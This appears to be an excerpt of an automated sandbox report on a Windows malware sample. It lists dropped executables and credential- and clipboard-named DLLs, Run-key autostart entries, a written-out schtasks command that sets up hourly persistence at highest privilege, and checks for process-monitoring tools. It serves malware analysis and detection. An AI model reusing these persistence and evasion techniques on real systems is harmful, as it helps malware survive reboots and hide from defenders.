Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Pictures\5nFKWr1EKUheiDEHo671vxm8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\clip64[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u6po.0.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\QbkKvIT5uJj3Cx8h0ECIsmUK.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe	File created: C:\Users\user\AppData\Local\Temp\u6po.2\ASUS_WMI.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	File created: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\gold[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ISetup8[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	File created: C:\ProgramData\MPGPH131\MPGPH131.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\jok[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	File created: C:\Users\user\AppData\Local\Temp\1000235001\toolspub1.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\9WrQ2c2u5fxH1pcvCwwjGhdd.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\gPQjkT7jjoMSIv7cXyWMW1C4.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\toolspub1[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\C893DEcM3dAA247WrHBz1SDW.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\oqwWhViccQzmDvkS751EZRiG.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\CmCQsbfi77SnYQWckHTzUjRg.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\laQhqKepZhfkS5rQoYOvKJAy.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Pictures\g81RdhkO8Pp47pz1l8siHWuN.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Pictures\pScZMSZH0uu2OkUDvWpN2tuz.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\dmmb0z6yJ22pC75a4y49Nfob.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\mBoc1pbzy7gOQT20pyEZL3en.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Pictures\1NXbTL9dcUCk55eVv5KRJhmL.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\cred64[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Pictures\oXA3lyE6zGyLyvw1CwVKpLsf.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Pictures\gmHwlMZnGawtAwStcAU6D1RM.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\NN7y6Ml4QHJBCfpeCmt1XQq3.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\swiiii[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Pictures\0co9idnjzay1KSn3DMfCsBSw.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\ULDq5mjQ4b5aNI3V4eIJfMVS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\1CMweaqlKp.exe	File created: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe	File created: C:\Users\user\AppData\Local\Temp\u6po.0.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\GIz2DLitsyoTn14REJti2nqN.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\evHtDP9yDvs3XYDQg8lqEVoH.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Pictures\qPQ3lJ1fN9DRgfiXtyMpf1ll.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Aghrmi42Lz5QvS8u8U6BiVXQ.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Pictures\11xbcpylNeYY4tZ39QN34xGC.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Temp\1000079001\gold.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\iFyHzFXRkeOppMlu3FtGrLYy.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Pictures\QcyIEuk7gD7wTlhElB94jgu9.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Pictures\tAKreBGDuozTwXSZfhU7cFT3.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Pictures\3N5jWnvXHqfYUsxTijnW3Uc5.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\4767d2e713f2021e8fe856e3ea638b58[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\H3bqnZf96LFIOlogieo3h5K9.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\i8dOWYOLtbNAxDJGOQ8Wt9el.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Temp\1000080001\alexxxxxxxx.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Pictures\v3efLAgS1BVue6uNuzFECLaH.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	File created: C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\5LzADXbR9e1baIzvWufsCa70.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\xF7m0A44x6KodDxbhAtiDsub.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Pictures\X53t1QSznpDGsvX2qLbdQFD1.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Osh3JGbyB69u4I6NltayynfD.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\install[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\swiiiii[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Pictures\MtYY7PxoMVCDp1NJbYQga2LV.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Pictures\jzMGE9Xb2Ny8jtCWlXWAk3ap.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Pictures\de4IGlGSbV9c3J4m0qZtBGm8.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\aYtr3HT3BUqjK6QB6WYpwCcm.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Pictures\zWIy5Pdf1kgq9YulaqIKrGGy.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Pictures\JcuJCrKoIRAAJIb94uRnhVjr.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Z0V3bHdPFsglc9f9uLbxOZFN.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\9SmQs0R4T5RJUISklvcv02zp.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\leqbtljZtxj2WxVvdmpHiNsI.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Pictures\ppcQqLgPI8Dyy7YykX33fm5x.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Pictures\S41vy8IsPU7Iudry37c4uNtg.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Temp\1000081001\install.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	File created: C:\Users\user\AppData\Local\Temp\1000236001\4767d2e713f2021e8fe856e3ea638b58.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe	File created: C:\Users\user\AppData\Local\Temp\u6po.2\AsIO.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u6po.0.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\sarra[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	File created: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\amert[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe	File created: C:\Users\user\AppData\Local\Temp\u6po.2\ATKEX.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\jfesawdr[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Pictures\STUD4CnDuvZtXsKBuBkO31id.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	File created: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Pictures\M4OBi0ywNcuUZRFLcfJ70nUH.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\iO9tAKw78L31Wsbvnq5kt5m1.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\8sXk5E4IG9n4ZHu2M9Littnp.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\f2NBhcBIObRGHagt6xPQoMa2.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Pictures\gjVUxsTFUgOAjApkeCU52nGD.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	File created: C:\Users\user\1000021002\ac861238af.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\NewB[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Pictures\rVg8HtIzXa4xhJHL7Pn8A6d2.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Bkg8NSHXvizTVBsjT3dzRvci.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Pictures\v6zcDFD3cRDhmr34kNKDn8tX.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Pictures\Jr1vIs8XqAmt0RT7bHMte8ts.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\gKIISy7hixfPFGDeeM7cQzit.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Pictures\SjGlviky3CjPwV1vWXl2gdhJ.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Pictures\D7t23m0X26bEkZqkCQtNwK5Y.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Pictures\s8YO7ScTlLADC9Vt6wr10aY4.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\PHoZl3WswCZ1lCRWCJPBFZtN.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Pictures\pl49PSFkcWVTQqBe8TA2VhRW.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\alexxxxxxxx[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Pictures\7iI5SUAnqRGyB1YdSAO06W1v.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\file300un[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Temp\1000077001\jfesawdr.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\gzxs1MlpU5tnMfkC7kzgvR1h.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\5W1aDm1vpFLN4gyrIiISMc4h.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\LIdx8BlqmZTW07MQOtXboF4f.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	File created: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\KHojJ9v7XtNSHZfW6gAnnH23.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	File created: C:\ProgramData\MPGPH131\MPGPH131.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u6po.0.exe	File created: C:\ProgramData\freebl3.dll			Jump to dropped file

Boot Survival

Creates an undocumented autostart registry key

Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ac861238af.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RageMP131	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d361f35322.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST

Source: C:\Users\user\Desktop\1CMweaqlKp.exe

File created: C:\Windows\Tasks\explorta.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d361f35322.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d361f35322.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ac861238af.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ac861238af.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RageMP131	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RageMP131	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT

Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\1000021002\ac861238af.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\1000021002\ac861238af.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\1000021002\ac861238af.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Process information set: NOOPENFILEERRORBOX
